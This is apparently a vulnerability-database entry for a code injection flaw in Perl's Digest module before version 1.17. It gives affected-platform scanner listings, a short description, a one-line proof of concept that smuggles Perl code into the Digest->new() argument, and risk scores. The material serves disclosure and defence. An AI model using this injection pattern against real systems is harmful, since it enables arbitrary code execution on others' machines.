Perl 5.x - Digest Module 'Digest->new()' Code Injection
| Reporter | Title | Published | Views | Family All 84 |
|---|---|---|---|---|
 | AIX 5.3 TL 12 : perl (IV10197) | 30 Jan 201300:00 | – | nessus |
| Amazon Linux AMI : perl (ALAS-2011-19) | 4 Sep 201300:00 | – | nessus |
| CentOS 4 / 5 : perl (CESA-2011:1797) | 12 Dec 201100:00 | – | nessus |
| Fedora 14 : perl-5.12.4-147.fc14 (2011-13874) | 3 Nov 201100:00 | – | nessus |
| GLSA-201401-33 : Perl Digest-Base module: Arbitrary code execution | 30 Jan 201400:00 | – | nessus |
| Mandriva Linux Security Advisory : perl (MDVSA-2012:008) | 19 Jan 201200:00 | – | nessus |
| MiracleLinux 3 : perl-5.8.8-32.6.0.1.AXS3 (AXSA:2011-563:02) | 14 Jan 202600:00 | – | nessus |
| MiracleLinux 4 : perl-5.10.1-119.AXS4.1 (AXSA:2012-353:01) | 14 Jan 202600:00 | – | nessus |
| NewStart CGSL MAIN 6.06 : perl Multiple Vulnerabilities (NS-SA-2025-0211) | 30 Sep 202500:00 | – | nessus |
| NewStart CGSL MAIN 6.06 (SP) : perl Multiple Vulnerabilities (NS-SA-2026-0016) | 6 Mar 202600:00 | – | nessus |
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source: https://www.securityfocus.com/bid/49911/info
The Digest module for Perl is prone to a vulnerability that will let attackers inject and execute arbitrary Perl code.
Remote attackers can exploit this issue to run arbitrary code in the context of the affected application.
Digest versions prior to 1.17 are affected.
Digest->new("::MD5lprint 'ownaide\n';exit(1);");Data
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27 Feb 2015 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 27.5
EPSS0.13526